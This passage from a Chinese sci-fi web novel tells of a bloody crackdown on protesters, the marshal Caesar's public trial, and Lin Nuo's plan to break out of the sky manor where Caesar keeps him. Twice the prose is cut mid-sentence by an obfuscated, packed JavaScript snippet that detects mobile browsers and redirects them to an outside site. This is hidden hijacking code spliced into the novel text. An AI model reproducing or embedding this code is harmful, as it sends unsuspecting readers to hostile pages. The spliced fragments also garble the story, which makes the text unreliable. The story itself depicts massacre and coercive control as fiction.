他们的加入,让原本只有学生的游行队伍,开始指数倍扩增。 而游行的高潮转折点,则是木星环城战神、天才Beta机甲师林诺的现身—— 当从光脑中确认,林诺真的出现在游行队伍的前列,原本正聚集在工厂、办公楼、交通枢纽窗边压抑观望的Beta们,突然猛地扯下工牌芯片,夺门而出。 “——我们是联邦的主人,而非奴隶!” 他们如浪潮般涌上街头,以比机甲联赛时更强百十倍的规模和声浪,在队伍中嘶吼高呼。 “我们要求重组最高议会!” “我们要求更加公正的对待!我们要求还政于民!” “我们不服!” “我们不服!” “我们不服!!!” 联邦的基础设施,从大游行的第六小时开始逐步瘫痪。 先是交通,交易所,数据中心,紧接着就是医疗,能源站,水循环系统。 议员们的豪华悬浮车偏离航线,迎头撞上天空城区的电梯,金融街的全息光幕上只有错乱的数据代码。 甚至连联邦的巡航舰队都不得不紧急迫降,因为基础能源站早已人去楼空。 到了大游行的第八个小时,地球总部的每一块大洲、每一个岛屿、每一座都市,都已陷入兵荒马乱之中。 而在木星环城遇袭时迟疑不决的最高议会,这会儿却奇迹般快速达成共识,对军队下达了血腥的镇压命令: “戒严倒计时结束后,对街上一切能移动的活物开火!” 血红色、巨大的全息数字,出现在城市上空,那是全面戒严的倒计时。 浩浩荡荡的游行队伍中,有人悄悄退出,回到家里封锁门窗,但更多人把光脑举得更高,径直把口号和标语,密密麻麻地投映到血色倒计时上。 “我们不服!” “我们不服!” 倒计时进入最后一小时,防暴飞艇、小型驱逐舰开始隆隆起飞。 通讯器的响声在最高议会大楼此起彼伏,有人在对着通讯器嘶吼,有人在暴跳如雷,有人在盘算着如何从地球总部溜到星环城的大庄园去。 “第八、第九、第十三舰队仍在营地驻扎,并未按照最高议会指示准备镇压!” “……恺撒·卡厄西斯那个杂种!他敢明着反了?!” “通知全球所有的战警、安保部队、雇佣兵公司!把秘密调查局所有的特工都给我从床上拽起来——我不信摆不平这群贱民!” 夜空中的血色倒计时悄然归零。 这场发生在联邦末期,纵观全人类史都能称得上臭名昭著的“血色戒严”事件,就在防暴飞艇的第一声炮响中,正式拉开帷幕。 枪声,炮响。血迹蜿蜒着流淌过每一寸街道,深深浸泡在每一道金属砖缝中。 机械战警如铁墙般成排推进,手中的光束炮不间断运转,已经到了发烫的地步。 而它们的头顶,则是不断喷吐火焰的防暴飞艇。 有人在街头的混乱中,偶然发现了“林诺”的身影。 他们其中有木星环城的亲历者,几乎不假思索地追了过去,想要寻求庇护。 可到了近前,他们又感觉有些奇怪: “林诺”浑身都在发抖。 面对满街横陈的人尸,他似乎像是要腿软瘫倒了。 “诺神!他们追来了,现在我们怎么办啊!” 人群中,有人哭着叫了他一声。 这一声呼喊,莫名像刺激到了“林诺”。 他一把抓紧领口的易容装置,一边发着抖,一边努力挺直脊梁,振臂高呼: “大……大家!快往我身后跑!我……我……我来给你们断后!” ……数百米开外,一个特工的枪口准星,已经悄无声息停在他的眉心。 炼狱般的“血色戒严”还在继续。 但当幸存者们跌跌撞撞,被街面上的人尸反复绊倒又爬起时,从遥远的某个方向,突然传来一声狙击枪响。 死一般的几秒沉寂后。 哭喊声由远及近: “……诺神他——被杀了!” “——他被他们杀了!林诺被他们杀了!!那个救过我们的Beta孩子……他死了!!!!” 平地一声惊雷! 消息在枪炮声中口口相传,又如烈火般蔓延到每个人的光脑中。 有人在光脑前呆若木鸡,有人在掩体后崩溃哭泣,有人早已成功逃回家里,却又一把从墙上扯下自卫枪械,发狂似的冲上街头。 “来呀!来呀!狗x的联邦政府!不是仗着你们有火力乱杀人吗!!杀呀!!!” “我他x的跟你们拼了!!” “血色戒严”从当天晚上21时开始,持续至次日下午16时才逐渐结束。 据事后统计,仅仅19小时,在地球各大州爆发的暴力冲突中,就有超过68万人伤亡。 遭机械战警射杀、拘禁、殴打致残的民众数不胜数,下街区一片血流成河。 作为人民与旧联邦政府决裂的标志性事件,“血色戒严”被永远收录在帝国的历史教科书中。 *** 秘密调查局的悬浮车“吱嘎”一声,刹停在十三舰队驻扎地门口。 特工们刚从镇压现场下来,满身带血,却又必须执行最艰难的任务,每个人脸上的表情都不好看。 阿拉里克率先上前,一把抓住传令兵的衣领,咬紧牙根道: “——通传你们的恺撒前元帅。他知道今天就是提审令上的日子,别让我们费劲强制执行。” 传令兵被他抓着衣领,露出帽檐下漠然的眼,无动于衷。 “你……!” 不仅是传令兵。 十三舰队地面部队仍在营地组队巡逻,似乎谁也没看见他们。 同时值勤的士兵高达上万人,却没有一丝多余人声,显出一种森冷的压迫感来。 有些足够警惕的老特工,已经退避至车后,低声向调查局请求支援。 两方正在僵持,沉重的盔甲碰撞声由远极近。 听见这种特殊声响,士兵们集体低垂枪支,自发向侧让出一条路来。 无数沉默林立的枪管间,银发男人披着元帅大衣,步伐沉稳地走来。 “哦?看来调查局的老人死得差不多了,沦落到让新丁执行这种任务的地步。” 见对面有熟人,恺撒轻微挑了一下眉。 他站定在特工们面前,笑容很温和,但落在调查局标志上的目光,简直像世界上最致命的蛇类。 “斯特林局长最近为了抚恤金很头疼吧?” 每个人都心知肚明,秘密调查局近些年的高死亡率,跟恺撒及他的党羽根本脱不了关系。 他此时说出这句话,对特工们完全就是一种极恶毒的挑衅。 阿拉里克毕竟太年轻,想起被秘密杀害的无数同僚,攥紧拳头就要上前,被老特工一把拦住。 “恺撒·卡厄西斯,你因滥用职权私自调动军队,涉嫌阴谋叛国,涉嫌颠覆破坏,涉嫌多起谋杀、非法监禁、非法审讯、组织恐怖活动等数重罪名,被秘密调查局正式拘捕。” 老特工一手出示身份id,一手紧压着腰间的枪套,目光始终没离开过身披重甲的警卫队成员。 “军事法庭将在三日后召开,审判结果将决定你是否成为联邦公敌。如果你无力聘请律师,法庭将为你聘请。” 恺撒听完,靠近一步,却惊得特工们拔枪戒备。 见状,他摇头轻笑了下,平举双腕,示意他们给自己戴上手铐。 正当老特工掏出电磁手铐时。 就见银发男人腕部那只长得像小天才电话手表的光脑,突兀地响了一声。 恺撒没作声。 但经验毒辣的老特工,还是察觉到他眉眼间一闪而过的欣喜。 电磁手铐闭合前一瞬,那双戴着皮革手套的手,却丝滑地从手铐中抽了回去。 恺撒指了指光脑,作出抱歉的神情: “我还有一个通讯要接,失陪了。” “……卡厄西斯!我们象征的是联邦政府,这是正式拘捕!” “当然,这些我们都知道。” 恺撒微微勾唇,眉眼间却没有一丝笑意。 “但你们可以等。不是吗?” 他转身朝军营深处走去。 阿拉里克气得发疯,想上前追赶,却迎头撞上警卫队冰冷的盔甲。 数双尖尖的狼耳后方,方才还在两侧默立的士兵,也重新持握枪支,眼神漠然地挡在他们面前。 “小猫怎么了?怎么在这个时间给我打电话。” 恺撒一路紧赶慢赶,以最快速度回到自己的营地房间,打开声音屏蔽装置,才笑着接起通讯。 “这还是你这些天第一回主动联系我。吃过午饭没有?我记得昨天让士官添置的一批家务机器人里,有会做甜点的。你试用过了吗?” 他问了好些事,短暂停顿时,才惊觉耳麦那头,传来少年压抑嘶哑的呼吸音。 像是情绪剧烈波动,以至于连正常的呼吸都成了难事。 “你怎么了?” 恺撒神情猛地一沉,抬手去取房间里的全息装置,“打开视讯功能。” “……那个人,” 林诺哑着嗓音问,“那个人究竟是怎么回事?我在星网看到了我的悼亡报道,说‘我’死在昨天的大游行中了。我反复研究过他被射杀的监控影像,发现他最后握住的地方,很可能佩戴着全息易容装置。他是谁?为什么要扮演我?他现在怎么样了?他……真的去世了吗?” 恺撒轻微一顿,收回手,开始在房间缓慢踱步。 他本想另开一个通讯视窗,用文字质问负责保护空中庄园的士官,但转念一想,他临走前的嘱咐是除了离开庄园,林诺的一切需求都可以被满足。 其中当然可能包括打开信息屏障。 “别着急,深呼吸……你太紧张了。” 他一边踱着圈,一边沉缓地低哄着。 “不必太在意那些虚假新闻。一个大胆的家伙想假扮成你的样子参加游行,结果却被秘密调查局误当成了目标。血腥镇压刚过,人们在极端愤怒时很难保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13539111|125660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 持理智,如果现在澄清,我担心民众会把你当成政府推出来的傀儡,转而将怒火倾泻给你。小猫可以先跟林先生和朋友们解释,我保证不会让这件事过多影响你的生活……” “……我问的是,他真的去世了吗?!” 恺撒脚下一停,他好像还从没被林诺这样吼过。 但很快,男人从办公桌上拾起一份文书,还是用温和的语气向他解释: “我在看到报道时,就立刻派人去医院确认过了。万幸的是,光束堪堪擦过颅骨,不过还是引发了颅内出血,所以仍在救治。” 话音落下,他就听见耳麦那边传来一声压抑的吐息。 脑内瞬间出现林诺整个人松下来,瘫坐在椅子上的画面。 小孩纯粹善良又特别心软,连八竿子打不着关系的难民也要去救,为了“道理”能跟他打上两百回合。 林诺的纯粹是最早吸引他的可爱之处,因此作为他的爱人和保护者,恺撒早已决定,就把他的小猫永远装在童话玻璃盅里。 男人指尖无声一弹,那张死亡证明,便飘落在粒子湮灭机顶部。 机器嗡嗡地吞入文件,并将它分解成无法还原的粒子。 “你刚刚吼我,林诺。” “……” 林诺条件反射想要道歉。他对恺撒的依赖,是被潜移默化养成的,心中难受到极点时,下意识就想张口向恺撒倾诉。 但话到喉咙,却被他自己强硬咽了下去。 他无法离开庄园。起初甚至可浏览的星网信息,都明显经过层层筛选。 后来,林诺在工坊自制了屏蔽探测器,搜遍整座庄园,这才把遍布角落的信息屏障拆除。 “血色戒严”规模之大,伤亡之惨重,让所有联邦公民都惊骇不已,而最让林诺震惊的,是他明明一直身在庄园,星网上却正大肆渲染他如何率领游行、又如何被迫害致死。 林诺调出每一个能分析的现场视频,一帧一帧反复查看,发现对方的脸和身形,竟真的跟他高度相似。 在当前的技术标准下,除非对方能拿到他的骨形扫描档案,否则仅靠全息易容装置,根本不可能做到九成九相似。 他给光脑里的联系人轮流发出通讯申请。 那些曾与他并肩作战的Alpha前辈,大多无法接通,剩下的甚至是无效通讯码。 跟着就是三个信徒舍友,同样杳无音讯。 他还试图在星网上论证自己并没有死,甚至亮出了自己的身份id和照片。 信息都能顺畅发出,却从未收到过答复,像是无人能看见他的呐喊。 迷茫、绝望、痛苦一齐涌上心头。 他趴在全息影像室的桌子上,一动不动。门外是偌大的空中庄园,只有小机器人来回清扫的微响。 光幕正在播放“林诺”的监控录像,枪声一遍遍在林诺头顶震响。 林诺抬起头,看见“林诺”在被射杀前,一手握着领口,一手在努力将其他人往身后拉。 ……那是一个纵然恐惧发抖,却仍试图保护别人的姿态。 林诺从桌前站起。 他在庄园困兽般徘徊游荡,胸腔中的重压感却迟迟没有消散。 于是,他最终拿出光脑,翻找起恺撒的通讯频道。 曾经年长恋人的名字,一直留在他的联络人置顶。 在他们聚少离多的热恋期,他也不知多少回戳开对方的通讯频道,别扭地戳进戳出,直到对方纵容地打过来为止。 然而此时此刻,他最终在列表底部找到恺撒的名字时,心中只有荒芜的冷意在蔓延。 问清易容者性命无虞,林诺就在沉默中挂断了恺撒的电话。 恺撒一愣,摘下耳麦看了半天,确认林诺只是为了问别人的消息,才跟他联系。 本来轻快的心情,一下直坠谷底。 但他确实拿林诺没什么办法。只得一边轻声叹息,一边把庄园接下来几天的食谱和温控仔细安排好,这才披上大衣出门。 “——来自最高议会的直接命令!” 阿拉里克猛地摔下通讯器,打开车门钻出。 他抓着最高议会刚刚签署的军令,一路怼到杜兰德的狼嘴前为止。 “即日起,十三舰队解除地球驻守状态,开启太阳系内巡逻任务。巡逻范围涵盖太阳系内所有行星轨道,小行星带,军事要塞及跃迁通道。除非收到最高议会的紧急召回命令,不得停止或中断巡逻任务,否则将被视为严重违反军令,受到军事法庭严厉惩处!” 警卫队纹丝不动,身后的持械士兵同样。 直到恺撒重新从人群中走出,十三舰队的校尉们将目光投向他,银发男人则朝他们微微颔首。 士兵们这才集体后转,向营地跑步前进。 恺撒依然把双腕递上,目光扫过情侣手环,想了想,还是摘下来,交给杜兰德: “替我好好保管。三天后,我回来取。” 他从容地俯身上车。 警卫队成员开启盔甲飞行模式,开始跟车护送。 留下的军事驻扎地里,士兵们井然有序地清点装备,收拾行装,准备集体撤离驻扎地,开启远巡任务。 “是太阳系巡航任务。要求全舰队即刻出动。” “明白。” 一直驻守在军区病房的士兵们,也收起枪支,跟随大部队回营,只留下部队医院的非随舰医官。 医官调试过治疗舱的强度,又对着昏迷的病患百思不得其解地站了会儿。 最后摇摇头,去巡视下一个病房了。 不久,跃迁点在驻扎地上方轰然开启。 爆鸣声数次炸响,将数十万星舰顷刻间传送到远星要塞。 少顷,病房再度陷入沉寂,只有心电图在发出静谧的细响。 又过了一小会儿。 林成彬睁开眼,无声推开治疗舱门。 64.第 64 章 “血色戒严”爆发的第二天。 同样被收录在帝国教科书中的“白堡审判”,也如约开启。 白堡距离圣地德尔斐三十公里,是联邦最著名、历史最悠久的星际法庭。 自联邦成立以来,白堡法庭处决过1088名联邦将军,76名联邦元帅,并将15名影响力极大的财阀或军阀宣判为联邦公敌。 有小道消息称,白堡甚至还曾审判过德尔斐圣子。 但考虑到联邦对德尔斐教派的支持态度,这桩指控显得没什么逻辑,很快被大众抛诸脑后。 两千多年的不断修复和加固,让白堡法庭呈现出一种古老和科技诡异嵌合的违和感。 巨大的石柱从地面高高拔起,作为受审席的石柱顶部,只有不超过一平米的站立空间,四周没有任何保护措施。 而在石柱四周的黑暗里,是从地面连接到天花板、密密麻麻的陪审席。 继“木星环城战神”、“Beta们的英雄”林诺被调查局击毙后,仍在暴怒中的人民发现,同为联邦的战神和英雄、参与过大大小小数百次联邦战役的恺撒·卡厄西斯,也戴着电磁手铐,站了那方小小的受审席上。 “非得这么急吗?” 席间不乏有智力正常的政府人士,一眼就看出不对劲,“真不怕再引发一次暴力抗议?哪怕延后待审呢?” “最高议会坚持如期审理。我听说秘密调查局倒有避避风头的意思,但不知道卡厄西斯哪得罪了那群财阀,反正他们一致投票表决,就要今天。” 幽暗的审判庭中,只有一束光落在恺撒肩上,光柱里有缓慢浮沉的尘埃。 那来自白堡顶部的一方采光口,象征“众神之光指引凡人伏罪”。 巨大的光幕在受审席前无声飘落,上面投映出第三行星联邦的标志:被白色藤蔓环抱的蓝色行星。 一个卡厄西斯缓慢抬眸,目光触及标志时,唇角露出不易察觉的笑意。 他知道今天并非他的审判日。 而是它的死期。 按照宪法,白堡在需要作出联邦公敌的判决时,必须向全体公民实时公开审理进程。 而当漫长的案情陈述结束,当大街小巷的光幕,所有人的光脑屏幕里,同时显出那位昔日的联邦英雄的脸时,每个人都听见他问了一句话。 “星陨战役”四个字,裹挟在这段语气很淡的问句中,却如一把滚烫的光刃,骤然洞穿那幅显示标志的光幕,直插联邦心脏。 白堡外的智囊团井然有序地工作着。 海量确凿的历史证据,秘密调查局当年的暗杀名单,以严酷审讯换来的参与者口供等,沿着已被提前控制的舆论网络,扩散至联邦每一个角落。 星陨战役距今虽已有8年,但仍涉及数千万计的烈士家属。 有人在街头光幕前当场晕倒。有人呆呆地擦着遗像,不知所措。 有人还在饥寒交迫中翻找垃圾,腋下夹着找工作的纸牌,却从未想过会被惊天秘密砸中头顶。 “……我忍耐至今。我一生所接受的教育都在告诉我,军人应无条件效忠他的人民与政府,军人应为人民赋予他的职责贡献终生。我的数百万名同僚在前线尸骨无存,我却必须为了联邦的和睦与稳定,永远保持沉默……” “3号机位后拉镜头。” 智囊团按着耳麦指挥,“元帅的义眼没有泪腺,这里最好不要接特写。” 一个摄像机器人悄然远离石柱,将镜头转向幽暗中的陪审席。 “——直到你们以一种最血腥、最惨无人道的方式,谋杀了一个19岁的孩子。一个勇敢、纯粹、坚韧的机甲英雄——我亲眼见证他如何一步步成长,一步步蜕变,最终死于你们之手的孩子!” 恺撒的演讲技巧千锤百炼。 他嘶哑、沉痛、隐忍的低沉咆哮,从无数面光幕传出,如重锤般击碎所有听众的灵魂。 人们环绕在花圈和石碑旁,情不自禁潸然泪下。 “他赢了。” 光脑前,奥利弗的奶奶果断决定,“变卖名下所有财产,换一艘新型远航战列舰。所有人打包行李,我们马上离开太阳系。” 奥利弗蜷坐在沙发另一侧。 他自从木星环城战役回来,就一直一蹶不振,也不知是受了什么打击。 听见奶奶这样说,他迷茫地抬起头: “……要离开太阳系这么远吗?我听说太阳系外全都是星盗啊……” “内战马上就会开始。到时,太阳系内会沦为人口屠宰场,在这里死去的人,将是被星盗杀死的几十万倍!” 奥利弗的姐兄们闻言,纷纷站起,迅速开始准备远航事宜。 奥利弗站在客厅,攥着拳头,嗫嚅了好一会儿,才胆怯地说: “那我在军校的同学怎么办呢?我有一个很要好的同学,可他家里没什么背景,肯定没法逃出太阳系的。我、我们能不能……?” “说什么蠢话!” 他被一声厉喝吓退,“还不快去做准备?!” *** 林诺蹲在空中庄园的一角,埋头拆卸墙边的东西。 他的星网信号又被控制了,因此所有网络消息更新,都只停在“血色戒严”的那天。 之后联邦发生了什么,他一概不知。 只是“血色戒严”第二天的晚上,恺撒没有像以往一样给他打来通讯。 他想了想,向恺撒的手环发起通讯,接听的却是杜兰德。 “队长说三天后再把这个手环还给他。” 杜兰德说,“其他的,队长说我什么都不知道。” 林诺张了张嘴,还想问什么,却注意到通讯器的背景音里,有类似“十三舰队紧急集合”之类的广播音。 他立刻凝神去听,听出这是一段十三舰队即将离开驻扎地,前往太空巡航的命令。 小叔就在十三舰队的营地医院。 林诺的心脏怦怦乱跳了起来。 他在庄园的巨墙下反复徘徊,突然说: “杜兰德,我可以看看你头盔的下面吗?” 杜兰德想了下,找了个无人的地方,手触上头盔颈后的按钮,把狼头卸了下来。 虽然只有短短几秒,但林诺还是看清了那张腐蚀殆尽的脸。 腐蚀的皮肉呈经络状,是跟至今仍在疗养院的星陨战役幸存者,一模一样的特征。 随后,杜兰德又把狼头扣回去,解释说: “我不能摘掉太久,会没法呼吸的。” 林诺嘴里咬着工具,将最后一段电路拔下。 数百次的失败过后,层层叠叠的庄园大门,蓦地发出一声嗡响,似乎马上就要开启。 而在庄园的远程警报响起以前,他又迅速将电路接回。于是大门纹丝不动地闭合着,仿佛从未被破解过。 他依旧把工具埋在机器人管家的清扫范围外,拍拍手和裤子的灰,回到别墅里去。 一进正门,芝士焗肉的香气,就从厨师机器人的托盘扑鼻而来。 跟他第一次与恺撒走进庄园时相比,庄园如今已经天翻地覆。 所有楼层都已经修建完工,母舰甲板上方的三层别墅,囊括了联邦当前技术能提供的所有居住和娱乐功能,恺撒曾戏言说,他的实际占有区域其实仅限二楼最角落的书房,其余面积全是林诺和冥炎在住。 上三层尚且如此,甲板下方的三层地下空间,则完全能看出从设计阶段起,就是想送给林诺的。 可以亲身重温经典战斗的全息影院,机甲工坊,机甲藏品基地,模拟演练场,庞大的星际沙盘。 除了实机操作功能因违法不能实现,地下三层足以让联邦任何一个最苛刻的机甲迷流下眼泪。 而恺撒上次跟他通话,在自顾自说了一大堆话后,曾低声向他承诺,等到军事法庭一结束,他就再带林诺去金星的机甲实验场试驾。 “那里有联邦首架能够分体重组的新型机甲。想想看,仅凭大脑控制机体的每个部位,让它们自由组装成各种形状……” 恺撒在他耳边轻声说,“到时,我们直接把空中庄园开到金星去,在实验场待上十天半个月,直到小猫开腻了为止。” 芝士焗肉也一如既往美味。 林诺偶然一次拆了厨师机器人的背板,发现它也是从他最爱去的那家餐厅收购来的。 恺撒三天都没有联系他。 他已不太能分清是思念还是戒断反应,当他用完餐,回到花园挖出工具,开始拆卸另一个装置时,他依然会下意识把情侣手环揣在裤兜里。 若是换作其他人—— 林诺低垂着眼,护目镜上只有焊断迸发的火花,看不清眸色。 或者只是他换宿舍前的舍友,那些对他说出“请你以后少出风头”的人们。很大概率也会这样劝他: “……要不留下吧。恺撒是强横了些,但他这样爱你,对你好,又掌握着能让你一辈子无忧无虑的权势,你甚至依然对他怀有感情。而且他还是你的救命恩人,哪怕只是为了报恩……” 手中的焊枪火花四溅,最终切断了关键的输电通路。 头顶原本晴朗的蓝天白日,就像没了电的屏幕,突兀地闪烁起来。 随即缓缓褪去。 笼罩庄园的温室屏障消失。 木星上空剧烈的雷暴和风雨,便如利箭般泼洒而至,在恬静的花园中溅起无数泥点。 地球大游行过后,所有星环城的基础设施都受到了影响,其中就包括木星环城的温室屏障。 木星自身有巨大的反气旋风暴“大红斑”,一旦失去温室屏障的保护,木星极强的风暴、流速飞快的云层、急剧的温压变化和频闪雷暴,都会顷刻吞噬整个环城。 林诺收起工具,在动荡的风雨中站直身体。 暴雨很快把他的黑发和身躯尽数淋湿。 而少年扯下护目镜,仰起黑眸,望向电闪雷鸣的天穹。 可惜。 他是一个在信奉机甲属于Alpha的世界中生活了19年,也依然会把报名表重重拍在联赛台上的Beta。 回地球,找小叔。 托付给信得过的生意伙伴,护送他们到自由南境去。 回联邦,寻找志同道合的伙伴,投身于轰轰烈烈的变革中。 他甚至已经想好,如果那个在游行假扮他的孩子,已经在治疗后痊愈,他或许还能成为自己最早的一批同盟伙伴。 到目前为止,即便经历了令人窒息的爱情,但恺撒对他而言,依然是一个“有性格缺陷的伟大英雄”。 他决意先跟恺撒和平分手,离开这里,安顿好小叔。 等到恺撒冷静下来,理解并尊重他的决定,或许未来他们还能合作,他也可以在帮助变革方面,报答曾经恺撒赋予他的恩义。 无论如何,他不会允许自己的一生,在一个男人以爱情为名的圈禁中耗尽。 暴雨激烈浇打母舰。 林诺冒雨登上三层平台,目光越过庄园的巨墙,望向甲板上的停机坪。 停机坪空无一物。 没有载具,他是不可能从高空中的母舰离开的。 那将是阻拦他的最后一站。 *** 白堡法庭第一次审判,在一众陪审团狼狈离席的状况下匆忙结束。按照流程,公开审判会持续三天,直至最终宣判恺撒为联邦公敌为止。 但第一天恺撒就给了联邦当局沉重一击,最高议会每个人都急赤白脸,争吵不休,以三大财团为首的财阀代表,却稳稳当当坐在席位上,又一次笑着投了支持票。 “当然要宣判他是联邦公敌啊。怎么可以因为怕几个平头百姓就打退堂鼓?他今天敢在法庭上给自己的接班人公开哀悼,明天敢干出什么来谁都不知道。政府既然提他上庭,按死他的胆量都没有吗?” “你……你们跟卡厄西斯是一党的!” 席间,秘密调查局代表吵对面嘶声怒吼, “你们明知这样会激化矛盾!事态会更加不可收拾的!” 财阀代表笑了笑,只是用手帕擦拭自己昂贵的手表,并没有接话。 他们已经占据最高议会的半壁江山,对政府一侧是压倒性的优势,投票结果没有任何异议。 另一个财阀代表探身过来,附耳笑道:“还是以太集团眼光长远。贵集团滞销的军火终于该有用武之地了?” “哪里哪里,彼此彼此。联合矿业的能源矿前景也不遑多让嘛。” “白堡审判”第三日,恺撒·卡厄西斯被宣判为联邦公敌。 按照联邦宪法,联邦公敌将会被剥夺公民权、人权、财产权,流放至太阳系边界地带,可被任何公民杀死,且杀害者不需要负法律责任。 但最高议会别出心裁,在宣判时专门加了一个缓刑期限,保留恺撒的政治身份和自由活动权利,只收回联邦颁授给他的所有军事荣誉。 恺撒从白堡巨大的石阶上缓步而下。 他一边整理被手铐弄皱的袖口,一边朝阶下悲愤交加的民众,露出安抚的微笑。 “最艰难的工作总算是告一段落了。我实在该回去好好休息一段日子。” 恺撒转过身,找杜兰德索要情侣手环,“他这几天有没有主动联络我?” 杜兰德老实巴交地点头。 闻言,恺撒笑了笑,又问:“他都说什么了?” “他说想看看我的头盔下面。” 恺撒义眼一滞。 林诺仍在反复检验他说的一些话。 幸运的是,他总会让真相和谎言的比例平衡在七比三左右,林诺检验的部分恰好在真相区域。 但关于他在法庭上的公开哀悼——在他带小猫去机甲试验场度假前,他必须能编出一个合情合理的理由才行。 恺撒转着手环,陷入沉思。 而警卫队则恰好走向阶下,疏散出一条通往悬浮车的路。 他和警卫队很少会同时出现注意力空档。 然而就在这短短两三秒,枪声骤然炸响! “砰、砰!砰、砰!砰!” 杜兰德当即弹出光盾,将后续几发子弹全部挡开。人群哗然四散,警卫队集体拔枪,快速寻找人群中的枪手。 但在一众尖叫声中,恺撒已经踉跄后退两步,跪倒在地。 “……恺撒·卡厄西斯!你这个骗子、阴谋家、颠覆者!!!” 阶下的调查局特工还在持续开火。 他也在浑身冒血,手抖得几乎拿不住枪。 他刚刚从恺撒的私刑审讯室逃出来,到了白堡阶前,却绝望地看见恺撒安然走出。 “为了我效忠的政府!为了伟大的第三行星联邦——去死,卡厄西斯!!” “留活口。” 恺撒说。 警卫队成员当即压住枪口,并一跃而下,将对方塞进口中的枪打落在地。 一剂镇静剂打入,枪手张着口,却一个字也不再能发音。 银发男人单膝跪在血泊里,大致检查了一下身上的枪伤。 三枪胸两枪头,对方就是奔着置他于死地而来的。 然而诡妙的是,枪手是训练有素的特工而非平民,而他和警卫队也极罕见地没有丝毫防备,击向头部的两枪,却只擦破了他的额角和侧脸。 而击打在胸口的三枪,全都打在防弹背心上。 两枪震断了肋骨,一枪则打得更深,穿透防弹衣的护板,小半个弹头都凶险地扎进左胸。 只是,在即将触碰到胸骨时,弹头就已经堪堪停住。 身中五枪,却无一枪致命。 恺撒蓦地低笑了起来。 他越笑越快活,以至于不小心牵动胸骨的枪伤, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589741|125660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 害得他又艰涩地咳嗽,用手背擦去唇角喷出的血沫。 阶下一片混乱。 民众愤慨、担忧、尖叫,警卫队在力排众人,把虚软的枪手塞进悬浮车。 然而恺撒跪在地上,一双浅灰的义眼,却缓缓抬起,望向白堡顶部的那束象征“众神之光”的光柱。 他脸上的笑意始终没有消失。 直到副官带着一众士兵,匆匆赶来控制现场。 “坚持住,头儿。医疗兵马上就到。” “不。”恺撒却说,并尝试扶着门柱,蹒跚从地上站起来, “叫我的飞艇驾驶员来。把我送回……木星环城去。” “啊?”副官说,不过他也曾是前线将领,见对方满脸是血,却还能站起来,对恺撒的伤情也大致有了个估算, “还是等等医疗兵吧。让他们把治疗舱扛到飞艇上去,可以一边回程一边治疗啊。” “我说,把我送回木星环城去。” 然而这次,恺撒却罕见地固执。 他捂着断裂的肋骨,一字一句重复:“把我送回木星环城去。” 飞艇在曲速通道里高速跃迁。医疗兵还是把高级治疗搬上了飞艇,但恺撒仰靠在座椅上,有些吃力地喘着,却一眼也没看向身旁的治疗舱。 他对军用治疗舱的熟悉程度,早已远超自己的身体构造。黑暗,封闭,为应对失血性低温,常常也是闷热的。 人躺在里面,就像在活着时躺进一口棺材,被整个世界遗忘脑后。 在那些使用率过高的公共治疗舱里,总会残留上一个伤者或死者的肉腥味,舱门上溅满了经年无法洗去的污血。 以至于当他升至校级军衔,可以拥有专用治疗舱时,那股肉腥味也如影随形,黏着在每一个崭新的医疗舱里。 可是如今的他跟从前不同了。 他可不像那些没猫的可怜虫,他有一个愿意等他回去的恋人。 就算对方最近总在生气,但那是他见过的所有人里,最懂得修修补补和如何爱人的。 恺撒在座椅上仰起头,伤痛和失血,还是迫使他开始昏昏沉沉。 头顶的吊灯光影晃悠晃悠,全部落进轻微涣散的视野里。 光影里的,却并不是众神光柱、白堡、联邦标志或写着首席执政官的名牌。 居然只是冷着脸蛋的黑发小猫,一下从弥散的光点中冒出头来,在那东张西望的。 “真奇怪……” 他很低地笑了一声,喃喃自语。 难得萎靡的精神状态,倒许多早已遗忘的小事浮上意识表面。 16岁的银发少年被记者拦住,唇角带笑,笑意却未达眼底。 “……黑发黑眼,机甲天才,” 少年说,顿了顿,又补充,“心思纯粹的人。” 黑色是会让感官超载患者感到安全的颜色,机甲天才是他自己。 唯有最后一项,是阴沟里的月亮,是每一个如他一样在联邦最黑暗的泥淖里长大的人,至死也不相信、却会在无人时沉默张望的存在。 “……那个孩子今天又来了。” 警卫队成员报告说,“队长,是否解除警戒状态?” 恺撒一边检查冥炎的操作面板,一边点了头。 他这两天右耳还在嗡鸣,警卫队只好都聚在他左侧汇报。 机甲库顶部很快传来巨象跳踢踏舞的动静。 放在驾驶舱底板上的工具箱,震颤着往裂缝边缘移动,最后稀里哗啦,全部掉进冥炎的机体深处。 “……” 而恺撒伸手摸了个空。 他只得无奈地坐直,仰头望着机甲库顶部叹气。 “……或许也不一定要机甲天赋。想要找到完全满足‘暴风眼计划’条件的Beta,在当前情况下确实太难了。” 参谋们在会上逐个筛选军校生履历,“或许军科天赋,或其他方面天赋也行。” “可是那样的话,目标跟元帅的绑定程度就会大大降低。所有人都知道,元帅是因卓越的机甲天赋闻名全联邦的。” 恺撒偶然翻出一份学生档案,眸光在黑发少年脸上微微一顿。 他感到眼熟,目光下移到院校班级,才想起是那个每晚都坚持来训练场跳踢踏舞的孩子。 目光再下移,落在精神力一栏上。 3592。 他指尖一动,将档案划走。 “……长官好!” “下午好。” 恺撒抬眸,目光落向两名军校顾问。他当时已开始深入接触财阀势力,当然知道面前两人在圈子里的“良好”名声。 